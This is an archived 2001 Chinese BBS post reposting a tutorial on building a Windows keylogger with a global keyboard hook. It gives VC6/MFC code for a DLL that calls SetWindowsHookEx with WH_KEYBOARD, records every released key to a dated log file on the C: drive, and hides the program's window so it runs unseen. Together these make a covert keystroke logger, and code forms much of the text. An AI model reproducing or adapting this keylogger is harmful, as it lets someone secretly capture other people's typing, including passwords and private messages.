荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Second (石开), 信区: Program
标  题: 利用键盘钩子在Windows平台下捕获键盘动作
发信站: 荔园晨风BBS站 (Thu Jun  7 05:18:13 2001), 转信

利用键盘钩子在Windows平台下捕获键盘动作
信息产业部电子第二十二研究所青岛分所 郎锐
01-5-24 下午 02:50:39
----------------------------------------------------------------------------
----
一、引言
我们可以在应用程序中毫不费力的捕获在本程序窗口上所进行的键盘操作,但如果我们
想要将此程序作成一个监控程序,捕获在Windows平台下任意窗口上的键盘操作,就需要
借助于全局钩子来实现了。
二、系统钩子和DLL
钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。钩子的种
类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗
口之前,钩子程序先行截获该消息、得到对此消息的控制权。此时在钩子函数中就可以
对截获的消息进行加工处理,甚至可以强制结束消息的传递。
在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整
个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC6中有三
种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接
MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extens
ion MFC DLL(扩展MFC DLL)。 在本程序中为方便起见采用了标准静态连接MFC DLL。

三、键盘钩子程序示例
本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyHook和动态连接库Launc
hDLL。
1、首先编制MFC扩展动态连接库LaunchDLL.dll:
(1)选择MFC AppWizard(DLL)创建项目LaunchDLL;在接下来的选项中选择Regular st
atically linked to MFC DLL(标准静态链接MFC DLL)。
(2)在LaunchDLL.h中添加宏定义和待导出函数的声明:
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();

//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL

//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
(3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog:
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
(4)完成以上提到的这几个函数的实现部分:
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHoo
kEx来安装这个钩子函数,其原型是:
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE
等,在此我们只关心键盘操作所以设定为WH_KEYBOARD;第二个参数标识钩子函数的入口
地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上
会引起LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单
的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的ID用以指定想让钩
子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设
定为0。
……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
虽然调用CallNextHookEx()是可选的,但调用此函数的习惯是很值得推荐的;否则的话
,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果
,所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。
……
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监
控记录的目的。
编译完成便可得到运行时所需的键盘钩子的动态连接库LaunchDLL.dll和进行静态链接时
用到的LaunchDLL.lib。
2、下面开始编写调用此动态连接库的主程序,并实现最后的集成:
(1)用MFC的AppWizard(EXE)创建项目KeyHook;
(2)选择单文档,其余几步可均为确省;
(3)把LaunchDLL.h和LaunchDLL.lib复制到KeyHook工程目录中,LaunchDLL.dll复制到
Debug目录下。
(4)链接DLL库,即在"Project","Settings…"的"Link"属性页内,在"Object/librar
ymodules:"中填入"LaunchDLL.lib"。再通过"Project","Add To Project","Files…"
将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:

#include "LaunchDLL.h"
这样我们就可以象使用本工程内的 函数一样使用动态连接库LaunchDLL.dll中的所有导
出函数了。
(5)在视类中添加虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:
……
InstallLaunchEv();
……
(6)到此为止其实已经完成了所有的功能,但作为一个后台监控软件,运行时并不希望
有界面,可以在应用程序类CkeyHookApp的InitInstance()函数中将m_pMainWnd->ShowW
indow(SW_SHOW);改为m_pMainWnd->ShowWindow(SW_HIDE);即可。
四、运行与检测
编译运行程序,运行起来之后并无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内
可以找到我们刚编写完毕的程序"KeyHook",随便在什么程序中通过键盘输入字符,然后
打开记录文件,我们会发现:通过键盘钩子,我们刚才输入的字符都被记录到记录文件
中了。
小结:系统钩子具有相当强大的功能,通过这种技术可以对几乎所有的Windows系统消息
进行拦截、监视、处理。这种技术广泛应用于各种自动监控系统中。

--
                            既然热爱生命
                            那么,
                            一切都在意料之中。

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.28.16]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店